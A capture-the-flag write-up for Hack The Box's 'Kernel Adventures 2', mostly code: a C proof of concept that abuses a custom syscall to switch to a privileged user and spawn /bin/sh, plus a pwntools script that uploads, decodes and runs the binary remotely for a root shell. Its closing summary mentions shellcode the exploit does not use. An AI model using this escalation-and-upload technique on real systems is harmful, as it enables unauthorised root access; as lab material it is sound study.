https://app.hackthebox.com/challenges/258

Description

Apparently Linux authentication is done in userspace? That doesn’t sound safe, time to do it all in the kernel!

Exploitation

Examining the kernel diff, we notice the addition of several new syscalls, including one named magic with syscall number 449.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>

#define MAX_USERS 65535
#define MAGIC_SYS 449

void do_add(char* username, char* password) {
    syscall(MAGIC_SYS, 0, username, password);
}

void do_delete(char* username) {
    syscall(MAGIC_SYS, 2, username);
}

void do_switch(char* username, char* password) {
    syscall(MAGIC_SYS, 3, username, password);
}

int main() {
    char *user = "pwn";
    char *pass = "12pwn34";
    for (int i = 0; i < MAX_USERS; i++) {
        do_add(user, pass);
        if (i == MAX_USERS - 1) {
            do_switch(user, pass);
            char *args[] = {"/bin/sh", NULL};
            execve(args[0], args, NULL);
            return 0;
        }
        do_delete(user);
    }
    for (int i = 0; i < 0xFFFFFFFF; i++) {
        if (syscall(MAGIC_SYS, 0, user, pass) == 0) {
            do_switch(user, pass);
            char *args[] = {"/bin/sh", NULL};
            execve(args[0], args, NULL);
            return 0;
        }
        do_delete(user);
    }
    return 0;
}

Use musl for compilation to produce more compact binaries.

musl-gcc -static -march=x86-64 -Os poc.c -o expl

Use this script to upload, decompress, execute the PoC, and get an interactive session as root.

#!/usr/bin/python3
from pwn import *
import base64,gzip

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

chunk_size = 256
file_name = 'expl'
file_name_encoded = file_name.encode()
with open(file_name, 'rb') as inf:
    exploit = inf.read()
data = base64.b64encode(gzip.compress(exploit))
conn = get_process()
n_chunks = (len(data) + chunk_size - 1) // chunk_size
for i in range(n_chunks):
    print(f'Uploading the exploit: {i + 1}/{n_chunks}')
    conn.recvuntil(b'$')
    conn.sendline(b'echo ' + data[chunk_size*i: (i+1)*chunk_size] + b' >> /home/user/' + file_name_encoded + b'.base64')

print('Uploading the exploit: ' + str(n_chunks) + '/' + str(n_chunks))
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.base64 | base64 -d > /home/user/' + file_name_encoded + b'.gz')
conn.recvuntil(b'$')
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.gz | gzip -d > /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'chmod +x /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'/home/user/' + file_name_encoded)
conn.interactive()
cat /flag.txt

Summary

Kernel Adventures 2: build the shellcode path, control execution, and read the flag.